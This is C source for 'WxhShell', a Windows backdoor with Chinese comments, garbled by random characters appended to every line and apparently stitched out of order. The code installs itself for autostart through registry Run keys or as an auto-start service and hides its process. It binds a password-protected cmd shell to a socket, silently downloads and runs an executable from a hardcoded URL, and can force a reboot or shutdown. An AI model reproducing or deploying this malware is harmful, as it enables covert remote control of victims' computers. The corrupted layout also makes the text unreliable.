    if(Boot(SHUTDOWN)) I,t 0X)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GRlA 9Q  
    else { &ec_jxF  
    closesocket(wsh); zBqr15  
    ExitThread(0); 3$WK%"%T  
    } N=:yl/M  
    break; !"p,9  
    } !4-NbtT  
  // 获取shell Z`< +8e  
  case 's': { _mFb+8C  
    CmdShell(wsh); F~<$E*&h@  
    closesocket(wsh); e|]g ?!  
    ExitThread(0); _khQ  
    break; 7|"11^q  
  } -XD\,y%zi  
  // 退出 RI-whA8+  
  case 'x': { o$Hc5W([Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DHm$gk  
    CloseIt(wsh); v)rN] b]  
    break; \/{qE hP  
    } S.M< (  
  // 离开 jZ.+b j >  
  case 'q': { + ZGOv,l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); NE3G!qxL  
    closesocket(wsh); +.[#C5  
    WSACleanup(); gy~M]u{  
    exit(1); :n>:*e@w%  
    break; r\_aux^z  
        } 'VR5>r  
  } l.b  
  } .r]n<  
.hZ =8y9  
  // 提示信息 e#&[4tQF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :=*>:*.Kb  
} Q;5aM%a`  
  } &[JI L=m5  
`4Nc(aUr  
  return; /rJvw   
} AB+Zc ]  
mQ' ]0DS  
// shell模块句柄 rPr#V1}1a  
int CmdShell(SOCKET sock) rA{h/T"  
{ _czLKbcF  
STARTUPINFO si; m0/J3  
ZeroMemory(&si,sizeof(si)); +Y 3_)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0-FwHDxw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xAz gQ  
PROCESS_INFORMATION ProcessInfo; ^W#[6]S  
char cmdline[]="cmd"; @yobT,DXi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x{Gih 1  
  return 0; zM[WbB+"m  
} [o|]>(tk  
^k u~m5v  
// 自身启动模式 hFQC%N. '  
int StartFromService(void) Zad+)~@!tq  
{ | %6B#uy  
typedef struct w&C SE  
{ =fG(K!AQ  
  DWORD ExitStatus; :UFf6T?  
  DWORD PebBaseAddress; w_A-:S 5C  
  DWORD AffinityMask; AGrGZ7p]  
  DWORD BasePriority; F fl`;M  
  ULONG UniqueProcessId; bFJmXx&  
  ULONG InheritedFromUniqueProcessId; w )DO"Z7  
}   PROCESS_BASIC_INFORMATION; V<ODt%  
o{>hOs &  
PROCNTQSIP NtQueryInformationProcess; RTF{<,E.UX  
/j3oHi$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vR+(7^Yy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MQR2UK (  
(Grj_p6O  
  HANDLE             hProcess; V@cRJ3ZF  
  PROCESS_BASIC_INFORMATION pbi; mb\vHu*53  
* Q51'?y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NP%ll e,l  
  if(NULL == hInst ) return 0; I+u=H2][2  
[-Q"A 6!Zd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \gIdg:"02  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); US> m1KsX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uc7X)  
x1A^QIuxO  
  if (!NtQueryInformationProcess) return 0; uiHlaMf  
`EWeJ(4Z@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )Tb{O  
  if(!hProcess) return 0; 4p %`Lv  
S7N54X2JwL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xb6@;G"  
vs6`oW"{#  
  CloseHandle(hProcess); /Rt/Efu  
%y8w9aGt  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rr9HC]63  
if(hProcess==NULL) return 0; G)b]uX  
8|yhe%-O  
HMODULE hMod; T5Pc2R  
char procName[255]; ?&/9b)cS  
unsigned long cbNeeded; aY3kww`  
9f BD.9A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'HOcK8}b  
E*RP8  
  CloseHandle(hProcess); hkW"D<i i-  
|k?,4 Pk  
if(strstr(procName,"services")) return 1; // 以服务启动 [C7:Yg7  
.fQDj{  
  return 0; // 注册表启动 TzX>d<x  
} [vV-0Lx"  
Ep0Aogp29  
// 主模块 N}Q,  
int StartWxhshell(LPSTR lpCmdLine) C-4I e  
{ sU+~#K$ b  
  SOCKET wsl; )OjbmU!7  
BOOL val=TRUE; UDp"+nS  
  int port=0; K8e>sU.  
  struct sockaddr_in door; |wK)(s  
cH2 nG:H  
  if(wscfg.ws_autoins) Install(); TR ]lP<m  
{9C(\i +  
port=atoi(lpCmdLine); v SWqOv$  
{/B) YR  
if(port<=0) port=wscfg.ws_port; M~ *E!  
hoU&'P8  
  WSADATA data; Rzb663d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Zsf<)Vx  
guFR5>-L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =YPWt>\a}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `=CF | I  
  door.sin_family = AF_INET; A.z~wu%(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [~jh Ov^  
  door.sin_port = htons(port); tK8\Ib J  
E}" &? oY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %M'"%Yn@(y  
closesocket(wsl); X}p4yR7'  
return 1; BAzqdG  
} lkw[Z}\  
Li<c  
  if(listen(wsl,2) == INVALID_SOCKET) { k$I[F<f  
closesocket(wsl); Dw.>4bA.  
return 1; B5tJ|3!  
} ,ew<T{PL  
  Wxhshell(wsl); ",~3&wx  
  WSACleanup(); EE%OD~u&9#  
IP{Cj=  
return 0; Bv9;q3]z-  
-B`;Sx  
} bF B;N+>  
xn6E f"  
// 以NT服务方式启动 QjZ}*p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NWoZDsu  
{ T,H]svN5p  
DWORD   status = 0; XP{ nf9&  
  DWORD   specificError = 0xfffffff; ;gW~+hW^  
{P = {)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ybYSz@7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MTLcLmdO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v,>q]! |a  
  serviceStatus.dwWin32ExitCode     = 0; br'~SXl  
  serviceStatus.dwServiceSpecificExitCode = 0; P *%bG 4  
  serviceStatus.dwCheckPoint       = 0; YjdH7.js  
  serviceStatus.dwWaitHint       = 0; poXkH@[O  
-$T5@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S3 x:]E:   
  if (hServiceStatusHandle==0) return; &Kjqdp  
A= ,q&  
status = GetLastError(); K-vso4@BJ  
  if (status!=NO_ERROR) }i/{8Ou W  
{ 0Fi7|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~zRW*pd  
    serviceStatus.dwCheckPoint       = 0; ?BWWb   
    serviceStatus.dwWaitHint       = 0; 3QXGbu}:h!  
    serviceStatus.dwWin32ExitCode     = status; KTf!Pf?g  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2etlR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7:1Hgj(  
    return; '{7A1yJnY%  
  } kg !@i7  
+<3tv&"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]B5\S  
  serviceStatus.dwCheckPoint       = 0; O+'Pq,hn  
  serviceStatus.dwWaitHint       = 0; HP?e?3.T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A:p0p^*  
} /&kTVuN"(  
,'ndQ{\9  
// 处理NT服务事件,比如:启动、停止 XeZv%` ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?G8 D6  
{ kdoE)C   
switch(fdwControl) KNK0w5  
{ ("{AY?{{  
case SERVICE_CONTROL_STOP: $s) ^zm~  
  serviceStatus.dwWin32ExitCode = 0; j"YJ1R-5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q |l93Rb`  
  serviceStatus.dwCheckPoint   = 0; lGcHfW)Y  
  serviceStatus.dwWaitHint     = 0; $*2uI?87}:  
  { x#ouR+<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ebq5P$  
  } ]-ZD;kOr  
  return; y:W$~<E`p  
case SERVICE_CONTROL_PAUSE: bk>M4l61  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w5&UG/z%l  
  break; k@wT,?kD  
case SERVICE_CONTROL_CONTINUE: 9Y/c<gbY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HVk3F| ]V  
  break; I/Vlw-  
case SERVICE_CONTROL_INTERROGATE: xE0+3@_>>  
  break; _$, .NK,6  
}; G=b`w;oL:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AE<AEq  
} hl# 9a?  
d<Z`)hI{K  
// 标准应用程序主函数 &Nec(q<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QDgOprha  
{ _`;6'}]s  
h,\_F#hi  
// 获取操作系统版本 ,:,c kul  
OsIsNt=GetOsVer(); 9OTw6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]cA){^.Jz  
b"f4}b  
  // 从命令行安装 MKQa&Dvw  
  if(strpbrk(lpCmdLine,"iI")) Install(); }"3L>%Q5  
HD`Gi0  
  // 下载执行文件 R)<>} y  
if(wscfg.ws_downexe) { 3J [P(G>Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qp-nr]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 778L[wYe  
} UQTt;RS*zS  
bJe^x;J9  
if(!OsIsNt) { Fd ]! 7  
// 如果时win9x,隐藏进程并且设置为注册表启动 g0ug:- R  
HideProc(); o}NKqA3  
StartWxhshell(lpCmdLine); ;vd%=vR  
} @9QHv  
else %r|fuwwJO  
  if(StartFromService()) `N|WCiBV.  
  // 以服务方式启动 KK7Y"~ 9&-  
  StartServiceCtrlDispatcher(DispatchTable); o+q 5:vJt  
else ;f6G&>p  
  // 普通方式启动 38  B\ \  
  StartWxhshell(lpCmdLine); F1/f:<}  
Ozn7C?\*  
return 0; :v&GA s6H  
} _ b#9^2o  
FiIN \  
(zTr/  
u}u2{pO!  
=========================================== 3K54:  
wN*e6dOF  
Q <78< #I  
gp$+Qd  
.$?s :t  
5M*ZZ+YX  
" i{ %~&!  
}TYCF@  
#include <stdio.h> SIbQs8h]  
#include <string.h> F.T~txQ~u  
#include <windows.h> M/B_-8B_D  
#include <winsock2.h> Ebp8})P/~  
#include <winsvc.h> I5 [r-r  
#include <urlmon.h> A$^}zP'u0<  
m2N ?Fg  
#pragma comment (lib, "Ws2_32.lib") }3vB_0[r  
#pragma comment (lib, "urlmon.lib") &jg,8  
*h]qh20t  
#define MAX_USER   100 // 最大客户端连接数 /e\} qq  
#define BUF_SOCK   200 // sock buffer 3`="4  
#define KEY_BUFF   255 // 输入 buffer g]d@X_ &D  
I.\u2B/?  
#define REBOOT     0   // 重启 ;ATk?O4T  
#define SHUTDOWN   1   // 关机 i?mDR$X:  
dqG+hh^  
#define DEF_PORT   5000 // 监听端口 gS"@P:wYzs  
{;z3$/JB  
#define REG_LEN     16   // 注册表键长度 )V9$ P)  
#define SVC_LEN     80   // NT服务名长度 5*4P_q(AxD  
TmO\!`  
// 从dll定义API  ~LkReQI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?VReKv1\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Url8Z\;aM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Te5_T&1Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GO`X KE  
#%+IU  
// wxhshell配置信息 g ,Q!F  
struct WSCFG { {Y\hr+A  
  int ws_port;         // 监听端口 ,`H=%#  
  char ws_passstr[REG_LEN]; // 口令 Lmj?V1% V  
  int ws_autoins;       // 安装标记, 1=yes 0=no sRY: 7>eg  
  char ws_regname[REG_LEN]; // 注册表键名 @ZT25CD  
  char ws_svcname[REG_LEN]; // 服务名 +mAMCM2N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T@k&YJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?#]c{Tlpz  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >5]Xl*{H)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vA+RZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `W|2Xi=^5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "7gS*v,r  
;'cv?3Y  
}; Lu-owP7nB  
r;S%BFMJS  
// default Wxhshell configuration #JTi]U6`  
struct WSCFG wscfg={DEF_PORT, U:8^>_  
    "xuhuanlingzhe", 6G1Z"9<2*  
    1, B?TAS  
    "Wxhshell", 6 *Q5.g  
    "Wxhshell", LscAsq<H<  
            "WxhShell Service", f'r/Q2{n  
    "Wrsky Windows CmdShell Service", {feS-.Khv  
    "Please Input Your Password: ", - FE)  
  1, x6F\|nb  
  "http://www.wrsky.com/wxhshell.exe", !.p!  
  "Wxhshell.exe" |a'Q^aT  
    }; J'2R-CI,  
ZZlR:D  
// 消息定义模块 :B"'49Q`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9E (>mN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AV%Q5Mi}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !nykq}kPN\  
char *msg_ws_ext="\n\rExit."; Gt-  -7S  
char *msg_ws_end="\n\rQuit."; 9:@os0^O  
char *msg_ws_boot="\n\rReboot..."; |5g*pXu{  
char *msg_ws_poff="\n\rShutdown...";   I]  
char *msg_ws_down="\n\rSave to "; d(fgv  
TcRnjsY$  
char *msg_ws_err="\n\rErr!"; L{(r@Vu  
char *msg_ws_ok="\n\rOK!"; 7N'F]x  
a^sR?.+3  
char ExeFile[MAX_PATH]; F3wRHq  
int nUser = 0; M2V.FYV{j>  
HANDLE handles[MAX_USER]; 3ON]c13  
int OsIsNt; )rj.WK.  
f1\x>W4z~\  
SERVICE_STATUS       serviceStatus; n1$##=wK]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R HF;AX n  
R[#5E|` `9  
// 函数声明 \ iP[iE=  
int Install(void); zBc7bbK  
int Uninstall(void); hvpn=0@ M  
int DownloadFile(char *sURL, SOCKET wsh); P,wFib^1  
int Boot(int flag); XY%8yII6  
void HideProc(void); 8 5s{;3  
int GetOsVer(void); 0A}'.LI  
int Wxhshell(SOCKET wsl); -'YX2!IU,  
void TalkWithClient(void *cs); ifBJ$x(B.  
int CmdShell(SOCKET sock); 6aK%s{%3s  
int StartFromService(void); hefV0)4K  
int StartWxhshell(LPSTR lpCmdLine); _X@:- _  
UayRT#}]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `knw1,qL"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9|#h )*  
_&BnET  
// 数据结构和表定义 wmoOp;C  
SERVICE_TABLE_ENTRY DispatchTable[] = \HH|{   
{ ]Q,RVEtKp  
{wscfg.ws_svcname, NTServiceMain}, ~oaVH.[e=  
{NULL, NULL} gc(1,hv  
}; fWLsk  
%%-kUe  
// 自我安装 zpa'G1v  
int Install(void) X\$M _b>O  
{ Jg%sl& 65  
  char svExeFile[MAX_PATH]; t?c*(?Xa  
  HKEY key; eyo)Su  
  strcpy(svExeFile,ExeFile); iPkG=*Ip(%  
] c'owj  
// 如果是win9x系统,修改注册表设为自启动 PUlb(3p `  
if(!OsIsNt) { [;X YT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~I'Z=Wo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *X<De  
  RegCloseKey(key); jCa{WV:K}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }hBv?B2/1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0+S:2i/G  
  RegCloseKey(key); VK|!aqA{b  
  return 0; T;FzKfT|  
    } ? X:RrZ:/  
  } wvq<5gy}  
} _Juhl^LM;  
else { 6XX5K@  
1,pg:=N9  
// 如果是NT以上系统,安装为系统服务 +_`F@^R_   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Th!S?{v   
if (schSCManager!=0) =jG3wf*  
{ |E?%Cj^W  
  SC_HANDLE schService = CreateService neZ_TT/3K  
  ( ,2?C^gxt  
  schSCManager, }  g  
  wscfg.ws_svcname, #}jf TM  
  wscfg.ws_svcdisp, pXQ&2s$  
  SERVICE_ALL_ACCESS, ^Jkj/n'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -D V;{8U4  
  SERVICE_AUTO_START, 3^`bf=R  
  SERVICE_ERROR_NORMAL, Ezml LFp.  
  svExeFile, Ni0lj:  
  NULL, b UWtlg  
  NULL, r@n%  
  NULL, :;|x'[JoE?  
  NULL, a~{St v  
  NULL 7,O^c +  
  ); oVsl,V  
  if (schService!=0) $[]=6.s  
  { /\\C&Px  
  CloseServiceHandle(schService); cu""vtK   
  CloseServiceHandle(schSCManager); U'#{v7u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Xi|v!^IT  
  strcat(svExeFile,wscfg.ws_svcname); Sa<R8X' J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pF8'S{y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vJcvyz#%1  
  RegCloseKey(key); 61C&vm  
  return 0; 1yE~#KpH  
    } |a"(Ds2U  
  } -,+JE0[  
  CloseServiceHandle(schSCManager); ~#j `+  
} kW(8i}bg  
} =0v{+ #}  
lX7#3ti:  
return 1; _wqFKj  
} ~MQN&  
\LS%bO,Y|  
// 自我卸载 as\V, {<  
int Uninstall(void) ~ 01]VA  
{ 82w< q(  
  HKEY key; k5PzY!N  
Dk7"#q@kx  
if(!OsIsNt) { mV'd9(s?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SE/@li  
  RegDeleteValue(key,wscfg.ws_regname); _p~ `nQ=7  
  RegCloseKey(key); z?i82B[Tm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L' )(Zn1  
  RegDeleteValue(key,wscfg.ws_regname); @{$SjR8Q $  
  RegCloseKey(key); i?|SC=  
  return 0; fmSA.z  
  } \ tQi7yj4  
} Ep'C FNbtW  
} @D7cv"   
else { y24 0 +;a  
fh2Pn!h+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g1}RA@9  
if (schSCManager!=0) koie  
{ /evh.S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6: M   
  if (schService!=0) ;aFQP:l/  
  { RnTPU`  
  if(DeleteService(schService)!=0) { O=+C Kx@  
  CloseServiceHandle(schService); :r~?Z6gK  
  CloseServiceHandle(schSCManager); hz/5k%%UX  
  return 0; qI'a|p4fn?  
  } '<@PgO~  
  CloseServiceHandle(schService); w!xSYh')  
  } ,*bxNs'/  
  CloseServiceHandle(schSCManager); }y0UyOa{C  
} #G\)ZheG  
} u{_T,k<!  
2xjS;lpw  
return 1; k,&W5zBKe  
} G N{.R7  
*.K}`89T  
// 从指定url下载文件 S5uV\Y/A  
int DownloadFile(char *sURL, SOCKET wsh) UkGUxQ,GU  
{ _]Hn:O"o  
  HRESULT hr; 2[:`w),.  
char seps[]= "/"; M$?~C~b!*  
char *token; 2h/` RefHJ  
char *file; Db3tI#  
char myURL[MAX_PATH]; Zwq_&cJK  
char myFILE[MAX_PATH]; ;PbyR}s  
\^YJs?  
strcpy(myURL,sURL); swJwy~  
  token=strtok(myURL,seps);  k/t4  
  while(token!=NULL) ]V9\4#I4  
  { 8T2$0  
    file=token; fY6&PuDf.  
  token=strtok(NULL,seps); &9O-!  
  } Uh7kB`2  
!X,=RR `zT  
GetCurrentDirectory(MAX_PATH,myFILE); q= tDMK'h  
strcat(myFILE, "\\"); `9F'mT#o/  
strcat(myFILE, file); K1$Z=]a+  
  send(wsh,myFILE,strlen(myFILE),0); \"uR&D  
send(wsh,"...",3,0); T0Gu(c`1d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *=ALns?y  
  if(hr==S_OK) apYf,"|9  
return 0; N(IUNL  
else uH7u4f1Q  
return 1; yqAw7GaBN  
(yZ^Y'0  
} N8!B2uPQ  
>=B8PK+<  
// 系统电源模块 k!! o!rBS  
int Boot(int flag) 3_D$6/i  
{ 0/*z]2  
  HANDLE hToken; y6Rg@L&U  
  TOKEN_PRIVILEGES tkp; S3n$  
a{{([uZ  
  if(OsIsNt) { }5% !: =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l~\'Z2op   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "rX`h  
    tkp.PrivilegeCount = 1; k3e $0`Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8ayB<b>+]"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vk$]$6l2  
if(flag==REBOOT) { ANWa%%\T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z3Vi il:  
  return 0; z:acrQwJ?1  
} )! OEa]  
else { 6 .*=1P*?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZOU$do>O  
  return 0; jaDZPX-yS  
} H7R1GaJ  
  } K.1#cf ^'  
  else { pfZxG.l  
if(flag==REBOOT) { +p_SKk!%+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q"\*JV5  
  return 0; Iunt!L  
} gB&'MA!  
else { ?6a:!^eL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6@ nEcr  
  return 0; 2avSsN{^  
} x0 3|L!n  
} |)0kvf?  
zfv l<"Rv  
return 1; uWgY+T  
} 2vK{Yw   
i)eub`uMy  
// win9x进程隐藏模块 }7UE  
void HideProc(void) "y62Wo6m)  
{ ] $Z aS\m  
P=V~/,>SZ!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rs<UWk<q  
  if ( hKernel != NULL ) z m_mLk$4H  
  { `L0}^ |`9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +A/n <VH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b}axw+  
    FreeLibrary(hKernel); (?$}Vp  
  } $n>.;CV  
)5p0fw  
return; qy.Mi{=~:  
} s%I) +|  
3d \bB !  
// 获取操作系统版本 |r6<DEg  
int GetOsVer(void) X}_kLfP/9  
{ R5|c4v{B  
  OSVERSIONINFO winfo; eB5; wH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k;q|pQ[  
  GetVersionEx(&winfo); `a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zQ5'q  
  return 1; U Tw\_s  
  else ~6E `6;`  
  return 0; ~-|K5  
} BgUf:PT  
L`3 g5)V  
// 客户端句柄模块 Gi?"  
int Wxhshell(SOCKET wsl) h=?#D0  
{ eSJ5YeY)  
  SOCKET wsh; {&G0jsA  
  struct sockaddr_in client; 0~)cAKus  
  DWORD myID; D1#fy=u69|  
1VH7z  
  while(nUser<MAX_USER) Bv@NE2  
{ 1Hk`i%  
  int nSize=sizeof(client); uq{w1O5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1 1O^)_|c  
  if(wsh==INVALID_SOCKET) return 1; 1iig0l6\m  
<`n T+c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j l%27Ld  
if(handles[nUser]==0) a%V6RyT4qW  
  closesocket(wsh); y/Paq^Hd  
else c?>@P  
  nUser++; 0LN"azhz  
  } eG=Hyc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E2+O-;VN  
ALJ^XvB4V  
  return 0; auK*\Wjm?  
} L >Y%$|4  
~*ST fyFw  
// 关闭 socket _e7 Y R+  
void CloseIt(SOCKET wsh) [y&yy|*\  
{ {OH "d  
closesocket(wsh); MZl6 J  
nUser--; A )tGB&  
ExitThread(0); !^:b?M  
} 'QeCJ5p]  
,l1A]Wx  
// 客户端请求句柄 ot8UuBq  
void TalkWithClient(void *cs) !.Eua3:V*  
{ 4'P otv@/  
|@!4BA  
  SOCKET wsh=(SOCKET)cs; !EB<e5}8wK  
  char pwd[SVC_LEN]; F4`ud;1H  
  char cmd[KEY_BUFF]; N7=lSBm  
char chr[1]; w|lA%H7`J  
int i,j; 4$~eG"wu  
{mr!E  
  while (nUser < MAX_USER) { #R-l2OO^]  
A]c'`Nf  
if(wscfg.ws_passstr) { @FO= 0_;y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )O;6S$z9Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  vtk0 j  
  //ZeroMemory(pwd,KEY_BUFF); /m"O.17N  
      i=0; 14Y_ oH9  
  while(i<SVC_LEN) { {(Jbgsxm  
'I^3r~_  
  // 设置超时 pMndyuoJl  
  fd_set FdRead; KxhMPvN'  
  struct timeval TimeOut; +-"uJIwMD  
  FD_ZERO(&FdRead); ;&RBg+Pr  
  FD_SET(wsh,&FdRead); %{Ib  
  TimeOut.tv_sec=8; "MM)AY*b  
  TimeOut.tv_usec=0; ~>6d}7xs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (#KSwWo{ed  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (JenTL`%u  
rvfS[@>v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 76epkiz;=  
  pwd=chr[0]; J[ ;g \  
  if(chr[0]==0xd || chr[0]==0xa) { &6deds  
  pwd=0; a=@]Ov/  
  break; C%&A9(jG  
  } %dn!$[D@  
  i++; z{$2bV  
    } w>S;}[fM  
UZvF5Hoe+O  
  // 如果是非法用户,关闭 socket vJI]ZnL{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 zE gAc  
}  r`-=<@[  
5! -+5TJI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZP-^10  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >L4q>S^v  
5y^I~"_ i  
while(1) { [A\DuJx  
&"l Sq2  
  ZeroMemory(cmd,KEY_BUFF); kZ5;Fe\*  
BLaF++Fop  
      // 自动支持客户端 telnet标准   8=TM _  
  j=0; W2>VgMR [  
  while(j<KEY_BUFF) { ZQ1,6<^9i[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b,h@.s  
  cmd[j]=chr[0];  T&'p5h=l  
  if(chr[0]==0xa || chr[0]==0xd) { FT8<a }o  
  cmd[j]=0; OKi}aQ2R*  
  break; y$$|_ l@  
  } S(2_s,J^  
  j++; 12]rfd   
    } ]Xm+-{5?!R  
ExKyjWAJ  
  // 下载文件 ly9tI-E  
  if(strstr(cmd,"http://")) { ;}B6`v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S/,)X  
  if(DownloadFile(cmd,wsh)) ?*AhGza/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xTnFJ$RK2  
  else K]SsEsd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yRAfIB$T}"  
  } V*6o|#  
  else { N++ ;}j  
E%%iVFPX  
    switch(cmd[0]) { utzf7?nIS  
  .~ O- <P#  
  // 帮助 A'6-E{  
  case '?': { "UYlC0 S\  
